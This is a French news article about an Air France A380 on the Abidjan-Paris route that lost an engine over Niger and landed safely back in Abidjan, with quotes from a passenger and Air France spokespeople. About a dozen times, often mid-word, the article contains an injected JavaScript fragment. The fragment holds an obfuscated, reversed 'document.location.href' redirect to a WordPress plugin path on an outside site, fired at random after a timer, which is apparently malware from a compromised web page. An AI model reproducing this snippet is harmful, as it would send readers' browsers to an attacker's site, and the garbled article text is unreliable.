Côte d’Ivoire : un Airbus de la compagnie Air France évite un crash entre Abidjan-Paris

L’appareil a pu faire demi-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tour et se poser en Côte d’Ivoire. Les passagers ont eu très peur.

L’un des quatre réacteurs d’un Airbus A380 d’Air France est toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tombé en panne, dans la nuit de samedi à dimanche, alors qu’il effectuait la liaison Abidjan-Paris. L’appareil, qui transportait 501 passagers, a fait demi-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tour et s’est posé sans toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dommage.

« Nous volions au-dessus du Niger, d’après l’écran de géolocalisation. J’ai vu une boule de feu pendant quelques secondes puis j’ai entendu un grtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and bruit du côté gauche de l’avion », témoigne un passager, Baudelaire Mieu, journaliste de l’agence Bloomberg.

« L’avion a commencé à tanguer, poursuit ce passager, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout tremblait, les gens ont commencé à paniquer. Le pilote a annoncé : « Nous venons de perdre un moteur gauche, nous rentrons à Abidjan » ». Selon le journaliste, « l’avion a continué de vibrer pendant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout le retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tour vers Abidjan, les gens priaient, j’entendais des “Seigneur”, des “Allah” ».

«Une avarie moteur qui est connue»

L’appareil s’est finalement posé sans problème à l’aéroport Félix Houphouët Boigny d’Abidjan, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tous les passagers ont applaudi et ont pu débarquer sains et saufs, selon le journaliste. « C’était chaud ! J’ai eu la peur de ma vie ! », conclut Baudelaire Mieu.

Le directeur général d’Air France KLM pour l’Afrique de l’Ouest, Jean-Luc Mévellec, confirme qu’un moteur était bien toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tombé en panne. Un porte-parole de la compagnie précise que l’âge de l’appareil est « entre 8 ans et 10 ans ».

« Techniquement, c’est ce qu’on appelle un pompage réacteur. C’est une avarie moteur qui est connue », explique un porte-parole d’Air France à Paris. « Ça arrive de temps en temps. Ce sont des phénomènes connus, maîtrisés, les équipages sont parfaitement entraînés toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toute l’année au simulateur à gérer ce type de panne », a-t-il assuré. « Ça peut être lié à l’ingestion d’un oiseau par un réacteur au décollage ».

Le porte-parole d’Air France annonce que la compagnie « va mettre en place un vol supplémentaire, un Boeing 777-200 qui opérera demain (lundi) matin, en complément des vols réguliers de ce soir (dimanche) et de demain soir ».

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